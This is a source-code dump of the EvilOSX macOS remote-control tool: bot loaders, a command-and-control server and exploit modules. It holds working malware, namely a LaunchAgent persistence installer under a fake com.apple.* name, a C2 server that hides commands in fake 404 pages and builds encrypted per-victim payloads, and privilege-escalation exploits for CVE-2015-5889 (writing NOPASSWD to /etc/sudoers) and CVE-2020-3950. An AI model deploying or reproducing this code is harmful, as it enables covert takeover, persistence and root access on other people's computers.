110 | with open(source_path, "rb") as input_file:
111 | code = input_file.read()
112 |
113 | return compress(code)
114 |
--------------------------------------------------------------------------------
/bot/loaders/helper.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | import random
6 | import string
7 | from abc import ABCMeta, abstractmethod
8 |
9 | MESSAGE_INPUT = "[\033[1m?\033[0m] "
10 | MESSAGE_INFO = "[\033[94mI\033[0m] "
11 | MESSAGE_ATTENTION = "[\033[91m!\033[0m] "
12 |
13 |
14 | def random_string(size=random.randint(6, 15), numbers=False):
15 | """:return A randomly generated string of x characters.
16 |
17 | :type size: int
18 | :type numbers: bool
19 | :rtype: str
20 | """
21 | result = ""
22 |
23 | for i in range(0, size):
24 | if not numbers:
25 | result += random.choice(string.ascii_letters)
26 | else:
27 | result += random.choice(string.ascii_letters + string.digits)
28 | return result
29 |
30 |
31 | class LoaderABC:
32 | """Abstract base class for loaders."""
33 | __metaclass__ = ABCMeta
34 |
35 | @abstractmethod
36 | def get_info(self):
37 | """:return: A dictionary containing basic information about this loader.
38 |
39 | :rtype: dict
40 | """
41 | pass
42 |
43 | def get_option_messages(self):
44 | """:return A list of input messages.
45 |
46 | :rtype: list[str]
47 | """
48 | pass
49 |
50 | def get_options(self, set_options):
51 | """The returned dictionary must contain a "loader_name" key which contains the name of this loader.
52 |
53 | :type
54 | :rtype: dict
55 | :return: A dictionary containing set configuration options.
56 | """
57 | pass
58 |
--------------------------------------------------------------------------------
/bot/loaders/launch_daemon/install.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | import base64
6 | import logging
7 | import os
8 | import subprocess
9 | from sys import exit
10 | from textwrap import dedent
11 |
12 | # ============================================================
13 | # These variables will be patched when this loader is created.
14 | LOADER_OPTIONS = {}
15 | PAYLOAD_BASE64 = ""
16 | # ============================================================
17 |
18 | PROGRAM_DIRECTORY = os.path.expanduser(LOADER_OPTIONS["program_directory"])
19 | LAUNCH_AGENT_NAME = LOADER_OPTIONS["launch_agent_name"]
20 | PAYLOAD_FILENAME = LOADER_OPTIONS["payload_filename"]
21 |
22 | # Logging
23 | logging.basicConfig(format="[%(levelname)s] %(funcName)s:%(lineno)s - %(message)s", level=logging.DEBUG)
24 | log = logging.getLogger("launch_daemon")
25 |
26 | log.debug("Program directory: " + PROGRAM_DIRECTORY)
27 | log.debug("Launch agent name: " + LAUNCH_AGENT_NAME)
28 | log.debug("Payload filename: " + PAYLOAD_FILENAME)
29 |
30 |
31 | def get_program_file():
32 | """:return: The path to the encrypted payload."""
33 | return os.path.join(PROGRAM_DIRECTORY, PAYLOAD_FILENAME)
34 |
35 |
36 | def get_launch_agent_directory():
37 | """:return: The directory where the launch agent lives."""
38 | return os.path.expanduser("~/Library/LaunchAgents")
39 |
40 |
41 | def get_launch_agent_file():
42 | """:return: The path to the launch agent."""
43 | return get_launch_agent_directory() + "/%s.plist" % LAUNCH_AGENT_NAME
44 |
45 |
46 | def run_command(command):
47 | """Runs a system command and returns its response."""
48 | out, err = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).communicate()
49 | return out + err
50 |
51 |
52 | # Create directories
53 | run_command("mkdir -p " + PROGRAM_DIRECTORY)
54 | run_command("mkdir -p " + get_launch_agent_directory())
55 |
56 | # Create launch agent
57 | launch_agent_create = dedent("""\
58 |
59 |
60 |
61 |
62 | KeepAlive
63 |
64 | Label
65 | %s
66 | ProgramArguments
67 |
68 | %s
69 |
70 | RunAtLoad
71 |
72 |
73 |
74 | """) % (LAUNCH_AGENT_NAME, get_program_file())
75 |
76 | with open(get_launch_agent_file(), "w") as output_file:
77 | output_file.write(launch_agent_create)
78 |
79 | with open(get_program_file(), "w") as output_file:
80 | output_file.write(base64.b64decode(PAYLOAD_BASE64))
81 |
82 | os.chmod(get_program_file(), 0o777)
83 |
84 | # Load the launch agent
85 | output = run_command("launchctl load -w " + get_launch_agent_file())
86 |
87 | if output == "":
88 | if run_command("launchctl list | grep -w %s" % LAUNCH_AGENT_NAME):
89 | log.info("Done!")
90 | exit(0)
91 | else:
92 | log.error("Failed to load launch agent.")
93 | pass
94 | elif "already loaded" in output.lower():
95 | log.error("EvilOSX is already loaded.")
96 | exit(0)
97 | else:
98 | log.error("Unexpected output: " + output)
99 | pass
100 |
--------------------------------------------------------------------------------
/bot/loaders/launch_daemon/loader.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from bot.loaders.helper import *
6 |
7 |
8 | class Loader(LoaderABC):
9 | def get_info(self):
10 | return {
11 | "Author": ["Marten4n6"],
12 | "Description": "Makes payloads persistent via a launch daemon.",
13 | "References": []
14 | }
15 |
16 | def get_option_messages(self):
17 | return [
18 | "Launch agent name (Leave empty for com.apple.): ",
19 | "Payload filename (Leave empty for ): "
20 | ]
21 |
22 | def get_options(self, set_options):
23 | launch_agent_name = set_options[0]
24 | payload_filename = set_options[1]
25 |
26 | if not launch_agent_name:
27 | launch_agent_name = "com.apple.{}".format(random_string())
28 |
29 | if not payload_filename:
30 | payload_filename = random_string()
31 |
32 | return {
33 | "loader_name": "launch_daemon",
34 | "launch_agent_name": launch_agent_name,
35 | "payload_filename": payload_filename
36 | }
37 |
--------------------------------------------------------------------------------
/bot/loaders/launch_daemon/remove.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | import subprocess
6 | from os import path
7 |
8 |
9 | def run_command(command):
10 | """Runs a system command and returns its response."""
11 | out, err = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).communicate()
12 | return out + err
13 |
14 |
15 | def run(options):
16 | program_directory = options["program_directory"]
17 | launch_agent_name = options["loader_options"]["launch_agent_name"]
18 | launch_agent_file = path.join(program_directory, launch_agent_name + ".plist")
19 |
20 | print("[remove_bot] Goodbye!")
21 |
22 | run_command("rm -rf " + program_directory)
23 | run_command("rm -rf " + launch_agent_file)
24 | run_command("launchctl remove " + launch_agent_name)
25 |
--------------------------------------------------------------------------------
/bot/loaders/launch_daemon/update.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 |
6 | def run(options):
7 | # Simply swap out the old encrypted payload with the new one
8 | # then reload the launch daemon.
9 | pass
10 |
--------------------------------------------------------------------------------
/data/builds/.gitignore:
--------------------------------------------------------------------------------
1 | *
2 | !.gitignore
--------------------------------------------------------------------------------
/data/images/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Marten4n6/EvilOSX/033a662030e99b3704a1505244ebc1e6e59fba57/data/images/logo.png
--------------------------------------------------------------------------------
/data/images/logo_334x600.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Marten4n6/EvilOSX/033a662030e99b3704a1505244ebc1e6e59fba57/data/images/logo_334x600.png
--------------------------------------------------------------------------------
/data/output/.gitignore:
--------------------------------------------------------------------------------
1 | *
2 | !.gitignore
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | urwid
2 | pycryptodomex
3 | pyside2
4 | future
5 | typing
--------------------------------------------------------------------------------
/server/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Marten4n6/EvilOSX/033a662030e99b3704a1505244ebc1e6e59fba57/server/__init__.py
--------------------------------------------------------------------------------
/server/handler.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | import json
6 | import shutil
7 | from base64 import b64encode, b64decode
8 | from os import fstat
9 | from textwrap import dedent
10 | from threading import Thread
11 | from time import time
12 |
13 | from http.server import HTTPServer, BaseHTTPRequestHandler
14 | from socketserver import ThreadingMixIn
15 |
16 | try:
17 | from urllib.parse import unquote_plus
18 | except ImportError:
19 | # Python2 support.
20 | from urllib import unquote_plus
21 |
22 | from server import modules
23 | from server.model import Model, Bot, RequestType, PayloadFactory
24 | from server.view.helper import ViewABC
25 |
26 |
27 | def start_server(model, view, port):
28 | """Starts the HTTP server in a separate thread.
29 |
30 | :type model: Model
31 | :type view: ViewABC
32 | :type port: int
33 | """
34 | # A new instance of the RequestHandler is created for every request.
35 | _RequestHandler._model = model
36 | _RequestHandler._view = view
37 | _RequestHandler._server_port = port
38 |
39 | server_thread = Thread(target=ThreadedHTTPServer(('', port), _RequestHandler).serve_forever)
40 | server_thread.daemon = True
41 | server_thread.start()
42 |
43 |
44 | class _RequestHandler(BaseHTTPRequestHandler):
45 | """Handles communicating with bots.
46 |
47 | - Responses are hidden in 404 error pages (the DEBUG part)
48 | - GET requests are used to retrieve the current command
49 | - Information about the bot along with the request type is sent (base64 encoded) in the Cookie header
50 | - Handles hosting files specified in the model
51 | """
52 | _model = None
53 | _view = None
54 | _server_port = None
55 |
56 | def _send_headers(self):
57 | """Sets the response headers."""
58 | self.send_response(404)
59 | self.send_header("Content-type", "text/html")
60 | self.end_headers()
61 |
62 | def _send_command(self, command_raw=""):
63 | """Sends the command to the bot.
64 |
65 | :type command_raw: str
66 | """
67 | response = dedent("""\
68 |
69 |
70 |
71 | 404 Not Found
72 |
73 |
74 | Not Found
75 | The requested URL {} was not found on this server.
76 |
77 |
78 |
79 |
80 |
81 | """).format(self.path)
82 |
83 | if command_raw != "":
84 | response += dedent("""\
85 |
88 | """.format(command_raw))
89 |
90 | self._send_headers()
91 | self.wfile.write(response.encode("latin-1"))
92 |
93 | def do_GET(self):
94 | cookie = self.headers.get("Cookie")
95 |
96 | if not cookie:
97 | for upload_file in self._model.get_upload_files():
98 | url_path, local_path = upload_file
99 |
100 | if self.path == ("/" + url_path):
101 | with open(local_path, "rb") as input_file:
102 | fs = fstat(input_file.fileno())
103 |
104 | self.send_response(200)
105 | self.send_header("Content-Type", "application/octet-stream")
106 | self.send_header("Content-Disposition", 'attachment; filename="{}"'.format(url_path))
107 | self.send_header("Content-Length", str(fs.st_size))
108 | self.end_headers()
109 |
110 | shutil.copyfileobj(input_file, self.wfile)
111 | break
112 | else:
113 | self._send_command()
114 | else:
115 | # Cookie header format: session=-
116 | bot_uid = b64decode(cookie.split("-")[0].replace("session=", "").encode()).decode()
117 | data = json.loads(b64decode(cookie.split("-")[1].encode()).decode())
118 | request_type = int(data["type"])
119 |
120 | if request_type == RequestType.STAGE_1:
121 | # Send back a uniquely encrypted payload which the stager will run.
122 | payload_options = data["payload_options"]
123 | loader_options = data["loader_options"]
124 | loader_name = loader_options["loader_name"]
125 |
126 | self._view.output_separator()
127 | self._view.output("[{}] Creating encrypted payload using key: {}".format(
128 | loader_options["loader_name"], bot_uid
129 | ), "info")
130 |
131 | payload = PayloadFactory.create_payload(bot_uid, payload_options, loader_options)
132 | loader = PayloadFactory.wrap_loader(loader_name, loader_options, payload)
133 |
134 | self._send_command(b64encode(loader.encode()).decode())
135 | elif request_type == RequestType.GET_COMMAND:
136 | username = data["username"]
137 | hostname = data["hostname"]
138 | local_path = data["path"]
139 | system_version = ""
140 | loader_name = data["loader_name"]
141 |
142 | if not self._model.is_known_bot(bot_uid):
143 | # This is the first time this bot connected.
144 | bot = Bot(bot_uid, username, hostname, time(), local_path, system_version, loader_name)
145 |
146 | self._model.add_bot(bot)
147 | self._view.on_bot_added(bot)
148 |
149 | self._send_command()
150 | else:
151 | # Update the bot's session (last online and local path).
152 | self._model.update_bot(bot_uid, time(), local_path)
153 |
154 | has_executed_global, global_command = self._model.has_executed_global(bot_uid)
155 |
156 | if not has_executed_global:
157 | self._model.add_executed_global(bot_uid)
158 | self._send_command(global_command)
159 | else:
160 | self._send_command(self._model.get_command_raw(bot_uid))
161 | else:
162 | self._send_command()
163 |
164 | def do_POST(self):
165 | # Command responses.
166 | data = bytes(self.rfile.read(int(self.headers.get("Content-Length")))).decode("utf-8")
167 | data = json.loads(b64decode(unquote_plus(data.replace("username=", "", 1)).encode()).decode())
168 |
169 | response = b64decode(data["response"])
170 | bot_uid = data["bot_uid"]
171 | module_name = data["module_name"]
172 | response_options = dict(data["response_options"])
173 |
174 | if module_name:
175 | try:
176 | # Modules will already be loaded at this point.
177 | modules.get_module(module_name).process_response(response, response_options)
178 |
179 | # Note to self: if there's too many "special" modules here,
180 | # pass the bot_uid to the process_response method instead.
181 | if module_name == "remove_bot":
182 | self._model.remove_bot(bot_uid)
183 |
184 | except Exception as ex:
185 | # Something went wrong in the process_response method.
186 | self._view.output("Module server error:")
187 |
188 | for line in str(ex).splitlines():
189 | self._view.output(line)
190 | else:
191 | # Command response.
192 | if response.decode().startswith("Directory changed to"):
193 | # Update the view's footer to show the updated path.
194 | new_path = response.decode().replace("Directory changed to: ", "", 1)
195 |
196 | self._model.update_bot(bot_uid, time(), new_path)
197 | self._view.on_bot_path_change(self._model.get_bot(bot_uid))
198 |
199 | self._view.on_response(response.decode())
200 |
201 | self._send_command()
202 |
203 | def log_message(self, log_format, *args):
204 | return # Don't log random stuff we don't care about, thanks.
205 |
206 |
207 | class ThreadedHTTPServer(HTTPServer, ThreadingMixIn):
208 | """Handles requests in a separate thread."""
209 |
--------------------------------------------------------------------------------
/server/model.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | import sqlite3
6 | from base64 import b64encode
7 | from os import path
8 | from threading import RLock
9 | import json
10 | from textwrap import dedent
11 | from Cryptodome.Cipher import AES
12 | from Cryptodome.Random import get_random_bytes
13 | from Cryptodome.Hash import MD5
14 |
15 |
16 | class RequestType:
17 | """Enum class for bot request types."""
18 |
19 | def __init__(self):
20 | pass
21 |
22 | STAGE_1 = 0
23 | GET_COMMAND = 1
24 | RESPONSE = 2
25 |
26 |
27 | class CommandType:
28 | """Enum class for command types."""
29 |
30 | def __init__(self):
31 | pass
32 |
33 | NONE = 0
34 | MODULE = 1
35 | SHELL = 2
36 |
37 |
38 | class Command:
39 | """This class represents a command."""
40 |
41 | def __init__(self, command_type, command, options = None):
42 | """
43 | :param command_type: int
44 | :param command: bytes
45 | :param options: dict
46 | """
47 | self.type = command_type
48 | self.command = command
49 | self.options = options
50 |
51 | def __str__(self):
52 | """:return: The base64 string representation of this class which can be sent over the network."""
53 | if self.type == CommandType.NONE:
54 | return ""
55 | else:
56 | formatted = "{}\n{}\n".format(str(self.type), b64encode(self.command).decode())
57 | if self.options:
58 | formatted += b64encode(json.dumps(self.options).encode()).decode()
59 |
60 | return b64encode(formatted.encode()).decode()
61 |
62 |
63 | class Bot:
64 | """This class represents a bot."""
65 |
66 | def __init__(self, bot_uid, username, hostname, last_online,
67 | local_path, system_version, loader_name):
68 | """
69 | :type bot_uid: str
70 | :type username: str
71 | :type hostname: str
72 | :type last_online: float
73 | :type local_path: str
74 | :type system_version: str
75 | :type loader_name: str
76 | """
77 | self.uid = bot_uid
78 | self.username = username
79 | self.hostname = hostname
80 | self.last_online = last_online
81 | self.local_path = local_path
82 | self.system_version = system_version
83 | self.loader_name = loader_name
84 |
85 |
86 | class Model:
87 | """Thread-safe model used by the controller."""
88 |
89 | def __init__(self):
90 | self._database_path = path.realpath(path.join(path.dirname(__file__), path.pardir, "data", "EvilOSX.db"))
91 | self._database = sqlite3.connect(self._database_path, check_same_thread=False)
92 | self._cursor = self._database.cursor()
93 | self._lock = RLock() # It's important this is an RLock and not a Lock.
94 |
95 | # Create our tables.
96 | self._cursor.execute("DROP TABLE IF EXISTS bots")
97 | self._cursor.execute("DROP TABLE IF EXISTS commands")
98 | self._cursor.execute("DROP TABLE IF EXISTS global_command")
99 | self._cursor.execute("DROP TABLE IF EXISTS global_executed")
100 | self._cursor.execute("DROP TABLE IF EXISTS upload_files")
101 |
102 | self._cursor.execute("CREATE TABLE bots("
103 | "bot_uid text PRIMARY KEY, "
104 | "username text, "
105 | "hostname text, "
106 | "last_online real, "
107 | "local_path text, "
108 | "system_version text, "
109 | "loader_name text)")
110 | self._cursor.execute("CREATE TABLE commands("
111 | "bot_uid text, "
112 | "command text)")
113 | self._cursor.execute("CREATE TABLE global_command("
114 | "command text)")
115 | self._cursor.execute("CREATE TABLE global_executed("
116 | "bot_uid text)")
117 | self._cursor.execute("CREATE TABLE upload_files("
118 | "url_path text, "
119 | "local_path text)")
120 |
121 | self._database.commit()
122 |
123 | def add_bot(self, bot):
124 | """Adds a bot to the database.
125 |
126 | :type bot: Bot
127 | """
128 | with self._lock:
129 | self._cursor.execute("INSERT INTO bots VALUES(?,?,?,?,?,?,?)", (
130 | bot.uid, bot.username, bot.hostname, bot.last_online,
131 | bot.local_path, bot.system_version, bot.loader_name
132 | ))
133 | self._database.commit()
134 |
135 | def update_bot(self, bot_uid, last_online, local_path):
136 | """Updates the bot's last online time and local path.
137 |
138 | :type bot_uid: str
139 | :type last_online: float
140 | :type local_path: str
141 | """
142 | with self._lock:
143 | self._cursor.execute("UPDATE bots SET last_online = ?, local_path = ? WHERE bot_uid = ?",
144 | (last_online, local_path, bot_uid))
145 | self._database.commit()
146 |
147 | def get_bot(self, bot_uid):
148 | """Retrieves a bot from the database.
149 |
150 | :type bot_uid: str
151 | :rtype: Bot
152 | """
153 | with self._lock:
154 | response = self._cursor.execute("SELECT * FROM bots WHERE bot_uid = ? LIMIT 1", (bot_uid,)).fetchone()
155 | return Bot(response[0], response[1], response[2], response[3], response[4], response[5], response[6])
156 |
157 | def remove_bot(self, bot_uid):
158 | """Removes the bot from the database.
159 |
160 | :type bot_uid: str
161 | """
162 | with self._lock:
163 | self._cursor.execute("DELETE FROM bots WHERE bot_uid = ?", (bot_uid,))
164 | self._database.commit()
165 |
166 | def is_known_bot(self, bot_uid):
167 | """:return: True if the bot is known to us.
168 |
169 | :type bot_uid: str
170 | :rtype: bool
171 | """
172 | with self._lock:
173 | response = self._cursor.execute("SELECT * FROM bots WHERE bot_uid = ?", (bot_uid,)).fetchone()
174 |
175 | if response:
176 | return True
177 | else:
178 | return False
179 |
180 | def get_bots(self, limit = -1, skip_amount = 0):
181 | """:return: A list of bot objects.
182 |
183 | :type limit: int
184 | :type skip_amount: int
185 | :rtype: list
186 | """
187 | with self._lock:
188 | bots = []
189 | response = self._cursor.execute("SELECT * FROM bots LIMIT ? OFFSET ?", (limit, skip_amount))
190 |
191 | for row in response:
192 | bots.append(Bot(row[0], row[1], row[2], row[3], row[4], row[5], row[6]))
193 |
194 | return bots
195 |
196 | def get_bot_amount(self):
197 | """:return: The amount of bots in the database.
198 |
199 | :rtype: int
200 | """
201 | with self._lock:
202 | response = self._cursor.execute("SELECT Count(*) FROM bots")
203 | return response.fetchone()[0]
204 |
205 | def set_global_command(self, command):
206 | """Sets the global command.
207 |
208 | :type command: Command
209 | """
210 | with self._lock:
211 | self._cursor.execute("DELETE FROM global_command")
212 | self._cursor.execute("DELETE FROM global_executed")
213 | self._cursor.execute("INSERT INTO global_command VALUES(?)", (str(command),))
214 | self._database.commit()
215 |
216 | def get_global_command(self):
217 | """:return: The globally set raw command.
218 |
219 | :rtype: str
220 | """
221 | with self._lock:
222 | response = self._cursor.execute("SELECT * FROM global_command").fetchone()
223 |
224 | if not response:
225 | return ""
226 | else:
227 | return response[0]
228 |
229 | def add_executed_global(self, bot_uid):
230 | """Adds the bot the list of who has executed the global module.
231 |
232 | :type bot_uid: str
233 | """
234 | with self._lock:
235 | self._cursor.execute("INSERT INTO global_executed VALUES (?)", (bot_uid,))
236 | self._database.commit()
237 |
238 | def has_executed_global(self, bot_uid):
239 | """:return: True if the bot has executed the global command or if no global command has been set.
240 |
241 | :type bot_uid: str
242 | :rtype: (bool, str or None)
243 | """
244 | with self._lock:
245 | global_command = self.get_global_command()
246 |
247 | if not global_command:
248 | return True, None
249 | else:
250 | response = self._cursor.execute("SELECT * FROM global_executed WHERE bot_uid = ? LIMIT 1",
251 | (bot_uid,)).fetchone()
252 |
253 | if response:
254 | return True, None
255 | else:
256 | return False, global_command
257 |
258 | def add_command(self, bot_uid, command):
259 | """Adds the command to the bot's command queue.
260 |
261 | :type bot_uid: str
262 | :type command: Command
263 | """
264 | with self._lock:
265 | self._cursor.execute("INSERT INTO commands VALUES(?,?)", (bot_uid, str(command)))
266 | self._database.commit()
267 |
268 | def get_command_raw(self, bot_uid):
269 | """Return and removes the first (raw base64) command in the bot's command queue, otherwise an empty string.
270 |
271 | :type bot_uid: str
272 | :rtype: str
273 | """
274 | with self._lock:
275 | response = self._cursor.execute("SELECT * FROM commands WHERE bot_uid = ?", (bot_uid,)).fetchone()
276 |
277 | if not response:
278 | return ""
279 | else:
280 | self._remove_command(bot_uid)
281 | return response[1]
282 |
283 | def _remove_command(self, bot_uid):
284 | """Removes the first command in the bot's queue.
285 |
286 | :type bot_uid: str
287 | """
288 | with self._lock:
289 | # Workaround for https://sqlite.org/compile.html#enable_update_delete_limit
290 | self._cursor.execute("DELETE FROM commands WHERE rowid = "
291 | "(SELECT rowid FROM commands WHERE bot_uid = ? LIMIT 1)", (bot_uid,))
292 | self._database.commit()
293 |
294 | def add_upload_file(self, url_path, local_path):
295 | """
296 | Adds a file which should be hosted by the server,
297 | should be automatically removed by the caller in x seconds.
298 |
299 | :type url_path: str
300 | :type local_path: str
301 | """
302 | with self._lock:
303 | self._cursor.execute("INSERT INTO upload_files VALUES (?,?)", (url_path, local_path))
304 | self._database.commit()
305 |
306 | def remove_upload_file(self, url_path):
307 | """Remove the file from the list of files the server should host.
308 |
309 | :type url_path: str
310 | """
311 | with self._lock:
312 | self._cursor.execute("DELETE FROM upload_files WHERE url_path = ?", (url_path,))
313 | self._database.commit()
314 |
315 | def get_upload_files(self):
316 | """:return: A tuple containing the URL path and local file path.
317 |
318 | :rtype: (str, str)
319 | """
320 | with self._lock:
321 | tuple_list = []
322 | response = self._cursor.execute("SELECT * FROM upload_files").fetchall()
323 |
324 | for row in response:
325 | tuple_list.append((row[0], row[1]))
326 |
327 | return tuple_list
328 |
329 |
330 | class PayloadFactory:
331 | """Builds encrypted payloads which can only be run on the specified bot."""
332 |
333 | def __init__(self):
334 | pass
335 |
336 | @staticmethod
337 | def create_payload(bot_uid, payload_options, loader_options):
338 | """:return: The configured and encrypted payload.
339 |
340 | :type bot_uid: str
341 | :type payload_options: dict
342 | :type loader_options: dict
343 | :rtype: str
344 | """
345 | # Configure bot.py
346 | with open(path.realpath(path.join(path.dirname(__file__), path.pardir, "bot", "bot.py"))) as input_file:
347 | configured_payload = ""
348 |
349 | server_host = payload_options["host"]
350 | server_port = payload_options["port"]
351 | program_directory = loader_options["program_directory"]
352 |
353 | for line in input_file:
354 | if line.startswith("SERVER_HOST = "):
355 | configured_payload += "SERVER_HOST = \"{}\"\n".format(server_host)
356 | elif line.startswith("SERVER_PORT = "):
357 | configured_payload += "SERVER_PORT = {}\n".format(server_port)
358 | elif line.startswith("PROGRAM_DIRECTORY = "):
359 | configured_payload += "PROGRAM_DIRECTORY = os.path.expanduser(\"{}\")\n".format(program_directory)
360 | elif line.startswith("LOADER_OPTIONS = "):
361 | configured_payload += "LOADER_OPTIONS = {}\n".format(str(loader_options))
362 | else:
363 | configured_payload += line
364 |
365 | # Encrypt the payload using the bot's unique key
366 | return dedent("""\
367 | #!/usr/bin/env python
368 | # -*- coding: utf-8 -*-
369 | import os
370 | import getpass
371 | import uuid
372 |
373 | def get_uid():
374 | return "".join(x.encode("hex") for x in (getpass.getuser() + "-" + str(uuid.getnode())))
375 |
376 | exec("".join(os.popen("echo '{}' | openssl aes-256-cbc -A -d -a -k %s -md md5" % get_uid()).readlines()))
377 | """.format(PayloadFactory._openssl_encrypt(bot_uid, configured_payload)))
378 |
379 | @staticmethod
380 | def wrap_loader(loader_name, loader_options, payload):
381 | """:return: The loader which will load the (configured and encrypted) payload.
382 |
383 | :type loader_name: str
384 | :type loader_options: dict
385 | :type payload: str
386 | :rtype: str
387 | """
388 | loader_path = path.realpath(path.join(
389 | path.dirname(__file__), path.pardir, "bot", "loaders", loader_name, "install.py")
390 | )
391 | loader = ""
392 |
393 | with open(loader_path, "r") as input_file:
394 | for line in input_file:
395 | if line.startswith("LOADER_OPTIONS = "):
396 | loader += "LOADER_OPTIONS = {}\n".format(str(loader_options))
397 | elif line.startswith("PAYLOAD_BASE64 = "):
398 | loader += "PAYLOAD_BASE64 = \"{}\"\n".format(b64encode(payload.encode()).decode())
399 | else:
400 | loader += line
401 |
402 | return loader
403 |
404 | @staticmethod
405 | def _openssl_encrypt(password, plaintext):
406 | """
407 | :type password: str
408 | :type plaintext: str
409 | :rtype: str
410 | """
411 | # Thanks to Joe Linoff, taken from https://stackoverflow.com/a/42773185
412 | salt = get_random_bytes(8)
413 | key, iv = PayloadFactory._get_key_and_iv(password, salt)
414 |
415 | # PKCS#7 padding
416 | padding_len = 16 - (len(plaintext) % 16)
417 | padded_plaintext = plaintext + (chr(padding_len) * padding_len)
418 |
419 | # Encrypt
420 | cipher = AES.new(key, AES.MODE_CBC, iv)
421 | cipher_text = cipher.encrypt(padded_plaintext.encode())
422 |
423 | # Make OpenSSL compatible
424 | openssl_cipher_text = b"Salted__" + salt + cipher_text
425 | return b64encode(openssl_cipher_text).decode()
426 |
427 | @staticmethod
428 | def _get_key_and_iv(password, salt, key_length = 32, iv_length = 16):
429 | """
430 | :type password: str
431 | :type salt: bytes
432 | :type key_length: int
433 | :type iv_length: int
434 | :rtype: tuple
435 | """
436 | password = password.encode()
437 |
438 | try:
439 | max_length = key_length + iv_length
440 | key_iv = MD5.new(password + salt).digest()
441 | tmp = [key_iv]
442 |
443 | while len(tmp) < max_length:
444 | tmp.append(MD5.new(tmp[-1] + password + salt).digest())
445 | key_iv += tmp[-1] # Append the last byte
446 |
447 | key = key_iv[:key_length]
448 | iv = key_iv[key_length:key_length + iv_length]
449 | return key, iv
450 | except UnicodeDecodeError:
451 | return None, None
452 |
--------------------------------------------------------------------------------
/server/modules/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | """Creates modules using the factory pattern."""
3 | __author__ = "Marten4n6"
4 | __license__ = "GPLv3"
5 |
6 | import imp
7 | from os import path, listdir
8 | from typing import Optional
9 | from zlib import compress
10 |
11 | from server.modules.helper import ModuleABC
12 |
13 | _module_cache = {}
14 |
15 |
16 | def load_module(module_name, view, model):
17 | """Loads the loader and adds it to the cache.
18 |
19 | :type module_name: str
20 | """
21 | # Going to use imp over importlib until python decides to remove it.
22 | module_path = path.realpath(path.join(path.dirname(__file__), "server", module_name + ".py"))
23 | module = imp.load_source(module_name, module_path)
24 |
25 | _module_cache[module_name] = module.Module(view, model)
26 |
27 | return _module_cache[module_name]
28 |
29 | def get_module(module_name):
30 | """
31 | :type module_name: str
32 | :rtype: ModuleABC or None
33 | :return: The module class if it has been loaded, otherwise None.
34 | """
35 | return _module_cache.get(module_name)
36 |
37 |
38 | def get_names():
39 | """
40 | :rtype: list[str]
41 | :return: A list of all module names."""
42 | names = []
43 |
44 | for name in listdir(path.realpath(path.join(path.dirname(__file__), "server"))):
45 | if name.endswith(".py") and name not in ["__init__.py", "helper.py"]:
46 | names.append(name.replace(".py", ""))
47 |
48 | return names
49 |
50 |
51 | def get_code(module_name):
52 | """
53 | :type module_name: str
54 | :rtype: bytes
55 | :return: Compressed code which can be run on the bot.
56 | """
57 | source_path = path.realpath(path.join(path.dirname(__file__), "bot", module_name + ".py"))
58 |
59 | with open(source_path, "rb") as input_file:
60 | code = input_file.read()
61 |
62 | return compress(code)
63 |
--------------------------------------------------------------------------------
/server/modules/bot/CVE-2015-5889.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | import os
6 | import subprocess
7 | import time
8 |
9 | env = {}
10 | old_size = os.stat("/etc/sudoers").st_size
11 | malloc_directory = "a\n* * * * * root echo \"ALL ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers\n\n\n\n\n"
12 |
13 | env["MallocLogFile"] = "/etc/crontab"
14 | env["MallocStackLogging"] = "yes"
15 | env["MallocStackLoggingDirectory"] = malloc_directory
16 |
17 |
18 | def run(options):
19 | print("Creating /etc/crontab...")
20 |
21 | p = os.fork()
22 | if p == 0:
23 | os.close(1)
24 | os.close(2)
25 | os.execve("/usr/bin/rsh", ["rsh", "localhost"], env)
26 |
27 | time.sleep(1)
28 |
29 | if "NOPASSWD" not in open("/etc/crontab").read():
30 | print("Exploit failed.")
31 | else:
32 | print("Done, waiting for /etc/sudoers to update...")
33 |
34 | while os.stat("/etc/sudoers").st_size == old_size:
35 | time.sleep(1)
36 |
37 | print("Exploit completed, you can now execute commands as sudo.")
38 | subprocess.call("sudo rm -rf /etc/crontab", shell=True)
--------------------------------------------------------------------------------
/server/modules/bot/CVE-2020-3950.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "HackerFantastic"
3 | __license__ = "GPLv3"
4 |
5 | import os
6 | import subprocess
7 | import time
8 |
9 | env = {}
10 | env["PATH"] = "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/Applications/VMware Fusion.app/Contents/Public:/usr/local/sbin"
11 |
12 | def run(options):
13 | path = os.getenv("HOME")
14 | print("[+] CVE-2020-3950 local root exploit 0day for MacOS fusion 11.5.2 & below")
15 | try:
16 | os.rmdir(path + "/Contents/Library/services")
17 | os.rmdir(path + "/a")
18 | except OSError:
19 | print("directories don't exist to rm - this is ok")
20 | print("[+] creating directories")
21 | try:
